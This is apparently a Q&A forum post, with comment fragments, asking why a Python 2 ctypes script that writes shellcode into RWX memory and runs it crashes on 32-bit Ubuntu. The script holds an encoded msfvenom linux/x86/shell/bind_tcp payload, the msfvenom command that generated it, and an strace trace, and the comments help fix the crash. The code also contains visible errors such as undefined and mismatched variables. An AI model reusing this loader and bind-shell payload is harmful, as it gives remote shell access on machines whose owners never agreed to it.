Background:
Writing a proof of concept that includes executing machine code it within the running python process. Wanting to make the functionality cross platforms, but problem arises when tested against unix systems.
Almost exactly like this question: Python ctypes and function calls but the solution does not work this time.
Problem: When executing the python script in VM 32bit Ubuntu server 12.04.5 LTS, the output says
Segmentation fault (core dumped)
Which means I am getting denied for accessing memory that I don't have permission for. This is strange b/c in the source code I also set cytpes.mprotect(allocated_space, space_size, 7) <== 4 + 2 + 1 is for wrx permissions
NOTE: Please do not try to execute the following machine code on a machine without having full consent from owner for testing purposes.
Python Script:
#!/usr/bin/env python
import ctypes
import os
import sys
# linux machine code
buf += "\xbd\xfc\xa1\x5d\x63\xd9\xee\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x1c\x31\x6e\x14\x03\x6e\x14\x83\xee\xfc\x1e"
buf += "\x54\x37\x1e\x86\x0e\x7a\xe7\x8f\x31\x6b\xe8\xef\xb8"
buf += "\x68\x8e\x6e\x59\x6e\xbf\xbd\x1e\x5e\xe4\xca\xfc\xf2"
buf += "\x59\x67\x69\xf7\xd4\x66\xdd\x91\x2b\xe8\x4f\x34\xb0"
buf += "\xbc\x05\xca\xd2\x3d\x8a\x5d\xab\xdc\x40\x6c\xf7\x74"
buf += "\xf3\x28\xca\x08\x6c\x4b\x10\x1c\xca\x17\xc7\x4e\x84"
buf += "\xa5\xf7\x7f\x08\xc0\xe7\x2e\xe0\x9d\xe9\xba\x66\xc6"
buf += "\x24\xba\xb6\x15\x06\xdc\xf5\x5a\x37\x63\xb6\x3d\x31"
buf += "\x32\xb2\x0c\xc1\x27\x0c\x82\x72\x44\xbc\x1b\xf5\x95"
buf += "\x65\xac\xfc\xe4\x1a\x33\xe1"
def main(buf):
if os.name == 'posix':
try:
libc = ctypes.CDLL('libc.so.6')
buf_ptr = ctypes.c_char_p(buf)
size = len(buf)
addr_freespace = ctypes.c_void_p(libc.valloc(size))
ctypes.memmove(addr_freespace, buf_ptr, size)
libc.mprotect(addr_free_space, size, 1 | 2 | 4) # changed to 7 for all three access
run = ctypes.cast(free_space, ctypes.CFUNCTYPE(ctypes.c_void_p))
run()
sys.exit()
except Exception as e:
print "Error: " e
else:
try: # windows implementation
if __name__ == '__main__':
main(buf)
Question: Can someone explain why does the segmentation fault message appear and how do we fix such problem?
Credits: this unix implementation originated at sickle.py @ Line743-753
The only difference is the reference script is using python 3, while I am using python 2.7.
UPDATE:
After many trials and errors, including running the program in pdb. The segmentation fault error happened after the line of:
run()
Can someone please explain why this is happening?
Edit:
machine code/shellcode generated using:
msfvenom --payload linux/x86/shell/bind_tcp --format py --arch x86 --bad-char "\x00\x20\x0d"
This PoC is inspired by Professor Viviek of SPSE and twittor
Using strace to pinpoint
the result prior to segmentation fault are as follow:
mprotect(0x11ad000, 137, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
capget(0x1, 0, {CAP_CHOWN|CAP_FSETID|CAP_SETGID|CAP_NET_BIND_SERVICE|CAP_SYS_MODULE|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_SYS_BOOT|CAP_SYS_NICE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_FSETID|CAP_SETUID|CAP_LINUX_IMMUTABLE|CAP_NET_BIND_SERVICE|CAP_NET_ADMIN|CAP_NET_RAW|CAP_IPC_OWNER|CAP_SYS_CHROOT|CAP_SYS_PTRACE|CAP_LEASE|CAP_AUDIT_WRITE|CAP_SETFCAP, CAP_CHOWN|CAP_DAC_OVERRIDE|CAP_SETPCAP|CAP_NET_BIND_SERVICE|CAP_NET_BROADCAST|CAP_IPC_LOCK|CAP_IPC_OWNER|CAP_SYS_NICE|CAP_SYS_RESOURCE|CAP_SYS_TIME|CAP_SYS_TTY_CONFIG|CAP_SETFCAP}) = -1 ENOMEM (Cannot allocate memory)
getuid() = -1 EINVAL (Invalid argument)
getuid() = -1 EFAULT (Bad address)
--- SIGSEGV (Segmentation fault) @ 0 (0) ---
+++ killed by SIGSEGV (core dumped) +++
strace.buf? Could be you are modifying a non volatile register and not properly restoring it.getuidsyscall has number 102 in 64 bit mode, and that corresponds tosocketcallin 32 bit mode. The latter would of course make sense in a shell code intended to play with sockets. So either generate a 64 bit shellcode or run your code in 32 bit mode.uname -a